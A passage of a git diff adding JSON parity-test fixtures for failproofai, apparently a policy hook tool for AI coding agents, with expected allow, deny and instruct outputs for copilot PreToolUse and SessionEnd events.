"/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PreToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PreToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..2171d64c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PreToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PreToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..20f9af90 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PreToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PreToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..cf615152 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PreToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PreToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..25500ff0 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PreToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PreToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..0b0647ff --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PreToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PreToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..039ed74f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PreToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PreToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..e609e3f4 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PreToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PreToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..7baba77f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PreToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PreToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..0c05c16f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SessionEnd/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/SessionEnd/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..82f65716 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionEnd/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SessionEnd/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/SessionEnd/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..4b3a22e4 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionEnd/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SessionEnd/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/SessionEnd/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..84ea5d7c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionEnd/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SessionEnd/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/SessionEnd/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..d4b67a32 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionEnd/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SessionEnd/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/SessionEnd/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..c17dd380 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionEnd/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SessionEnd/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/SessionEnd/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..fca5e356 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionEnd/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SessionEnd/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/SessionEnd/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..9b630adb --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionEnd/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SessionEnd/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/SessionEnd/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..3e9adf67 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionEnd/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/SessionEnd/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/SessionEnd/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..106b66aa --- /dev/null +++ b/__tests__/parity/fixtures/copilot/SessionEnd/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/SessionEnd/deny__tool-absent__two-policies.json 